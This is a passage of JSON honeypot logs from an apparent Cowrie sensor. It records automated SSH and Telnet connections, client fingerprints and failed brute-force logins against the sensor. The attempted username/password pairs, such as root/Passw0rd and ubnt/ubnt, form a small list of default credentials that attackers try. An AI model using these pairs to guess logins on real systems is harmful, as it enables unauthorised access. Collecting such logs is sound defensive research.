oly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:42.406488Z","src_ip":"176.65.132.129","session":"02580be878c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:42.651681Z","src_ip":"176.65.132.129","session":"02580be878c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:43.771910Z","src_ip":"176.65.132.129","session":"02580be878c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49628,"dst_ip":"10.17.0.5","dst_port":22,"session":"cec6be627505","protocol":"ssh","message":"New connection: 176.65.132.129:49628 (10.17.0.5:22) [session: cec6be627505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:45.599210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:45.603576Z","src_ip":"176.65.132.129","session":"cec6be627505","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:45.685594Z","src_ip":"176.65.132.129","session":"cec6be627505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.42476439476013,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:45.772933Z","src_ip":"64.227.82.147","session":"9e463e51a4ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":46222,"dst_ip":"159.203.135.109","dst_port":23,"session":"02ab46a0ddcc","protocol":"telnet","message":"New connection: 64.227.82.147:46222 (159.203.135.109:23) [session: 02ab46a0ddcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:45.912471Z"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:45.964876Z","src_ip":"176.65.132.129","session":"cec6be627505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:47.050036Z","src_ip":"176.65.132.129","session":"cec6be627505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.0874392986297607,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:47.999803Z","src_ip":"64.227.82.147","session":"02ab46a0ddcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40216,"dst_ip":"10.17.0.5","dst_port":22,"session":"80fdbca39635","protocol":"ssh","message":"New connection: 176.65.132.129:40216 (10.17.0.5:22) [session: 80fdbca39635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:49.099499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:49.104328Z","src_ip":"176.65.132.129","session":"80fdbca39635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:49.185378Z","src_ip":"176.65.132.129","session":"80fdbca39635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yunwei","password":"yunwei","message":"login attempt [yunwei/yunwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:49.428015Z","src_ip":"176.65.132.129","session":"80fdbca39635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":43874,"dst_ip":"159.203.135.109","dst_port":23,"session":"b93aca569a86","protocol":"telnet","message":"New connection: 192.211.53.160:43874 (159.203.135.109:23) [session: b93aca569a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:49.709803Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:50.512131Z","src_ip":"176.65.132.129","session":"80fdbca39635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.843244314193726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:51.040487Z","src_ip":"82.163.78.34","session":"22f72ec4cd24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.674803018569946,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:52.073583Z","src_ip":"64.227.82.147","session":"e58e360272e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":58362,"dst_ip":"10.17.0.5","dst_port":22,"session":"04676061a8d1","protocol":"ssh","message":"New connection: 46.253.45.10:58362 (10.17.0.5:22) [session: 04676061a8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:52.302243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:52.309922Z","src_ip":"46.253.45.10","session":"04676061a8d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":80.97043037414551,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:52.335252Z","src_ip":"64.227.82.147","session":"fa6aa9ecb84d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40230,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a03d7df9ef0","protocol":"ssh","message":"New connection: 176.65.132.129:40230 (10.17.0.5:22) [session: 7a03d7df9ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:52.403411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:52.408044Z","src_ip":"176.65.132.129","session":"7a03d7df9ef0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:52.425539Z","src_ip":"46.253.45.10","session":"04676061a8d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:52.490076Z","src_ip":"176.65.132.129","session":"7a03d7df9ef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:52.735884Z","src_ip":"176.65.132.129","session":"7a03d7df9ef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ttest","password":"password","message":"login attempt [ttest/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:52.921483Z","src_ip":"46.253.45.10","session":"04676061a8d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:53.820124Z","src_ip":"176.65.132.129","session":"7a03d7df9ef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:54.040629Z","src_ip":"46.253.45.10","session":"04676061a8d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47212,"dst_ip":"10.17.0.5","dst_port":23,"session":"41f252386183","protocol":"telnet","message":"New connection: 38.54.119.93:47212 (10.17.0.5:23) [session: 41f252386183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:55.226200Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49696,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2ecf6b7971f","protocol":"ssh","message":"New connection: 176.65.132.129:49696 (10.17.0.5:22) [session: d2ecf6b7971f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:55.801803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:55.807234Z","src_ip":"176.65.132.129","session":"d2ecf6b7971f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:55.889285Z","src_ip":"176.65.132.129","session":"d2ecf6b7971f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:56.137124Z","src_ip":"176.65.132.129","session":"d2ecf6b7971f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:57.222126Z","src_ip":"176.65.132.129","session":"d2ecf6b7971f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":71.32918381690979,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:58.166758Z","src_ip":"64.227.82.147","session":"ab7db1d4eb5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49704,"dst_ip":"10.17.0.5","dst_port":22,"session":"57daad57c3ed","protocol":"ssh","message":"New connection: 176.65.132.129:49704 (10.17.0.5:22) [session: 57daad57c3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:59.111833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:59.116579Z","src_ip":"176.65.132.129","session":"57daad57c3ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:59.198426Z","src_ip":"176.65.132.129","session":"57daad57c3ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:59.446538Z","src_ip":"176.65.132.129","session":"57daad57c3ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:00.531873Z","src_ip":"176.65.132.129","session":"57daad57c3ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53536,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7660f04051e","protocol":"telnet","message":"New connection: 38.60.198.128:53536 (159.203.135.109:23) [session: a7660f04051e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:00.972390Z"}
{"eventid":"cowrie.session.closed","duration":19.662009954452515,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:01.282496Z","src_ip":"64.227.82.147","session":"c02463fd228d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49712,"dst_ip":"10.17.0.5","dst_port":22,"session":"56d5ef48e64a","protocol":"ssh","message":"New connection: 176.65.132.129:49712 (10.17.0.5:22) [session: 56d5ef48e64a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:02.443446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:02.448025Z","src_ip":"176.65.132.129","session":"56d5ef48e64a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:02.530367Z","src_ip":"176.65.132.129","session":"56d5ef48e64a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:02.778794Z","src_ip":"176.65.132.129","session":"56d5ef48e64a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:03.865345Z","src_ip":"176.65.132.129","session":"56d5ef48e64a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.91134786605835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:04.114236Z","src_ip":"82.163.78.34","session":"637f004808af","protocol":"telnet"}
